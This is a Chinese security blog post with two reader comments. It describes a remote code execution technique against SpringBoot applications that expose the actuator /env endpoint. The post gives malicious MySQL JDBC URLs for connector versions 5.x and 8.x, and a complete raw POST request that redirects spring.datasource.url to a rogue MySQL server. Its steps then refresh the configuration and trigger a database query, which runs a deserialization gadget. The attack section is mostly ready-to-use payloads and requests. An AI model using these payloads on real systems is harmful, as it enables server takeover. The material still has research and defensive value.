通过mysql jdbc 反序列化触发的 SpringBoot RCE 新利用方法
一:背景
在整理 SpringBoot 通过暴露的 /env
接口进行 RCE 的多种利用方法时,发现 /env
接口暴露的大部分属性都能通过 POST 请求重新设置。
当看到暴露的 spring.datasource.url
的属性值为 jdbc:mysql://xxx 时,联想到通过控制 JDBC URL 利用 mysql-connector-java
组件进行反序列化攻击的方法,所以就进行测试了下,有了此文。
二:利用方法
0x00:启动 rogue mysql server
复制文章 java jdbc 反序列漏洞的自动化利用 中提供的脚本,设置好反序列化 gadget 并在服务器上启动脚本。
0x01:设置并刷新 env
根据 /env
接口暴露的属性名 spring.datasource.url
,和实际的 mysql-connector-java
版本,设置 jdbc url:
- mysql-connector-java 5.x
jdbc:mysql://192.168.44.1:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
- mysql-connector-java 8.x
jdbc:mysql://192.168.44.1:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
完整发包:
POST /actuator/env HTTP/1.1
Host: test.landgrey.me:9999
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 212
{"name":"spring.datasource.url","value": "jdbc:mysql://127.0.0.1:33306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"}
然后通过 /refresh
接口刷新配置
0x02:触发数据库查询
本地测试时,发现此时 /env
接口旧的 spring.datasource.url 属性值并没有被替换,而是在开头 properties 里新增了一个刚设置的属性值,不过并不影响漏洞利用。
此时需要触发源网站的随意的数据库查询,比如访问 /product/list
接口,然后漏洞会被触发。
0x03:恢复数据库设置
需要注意的是:漏洞利用完毕后,需要再通过 POST /env
将 spring.datasource.url
属性设置为网站原来的值,不然网站的一些正常数据库查询将会一直不可用。
very nice blog af62fod23441k83b
师傅你这个不是通过自己的mysql脚本设置的"SHOW SESSION STATUS"的返回结果吗?实战中咋用Springboot控制这个值啊。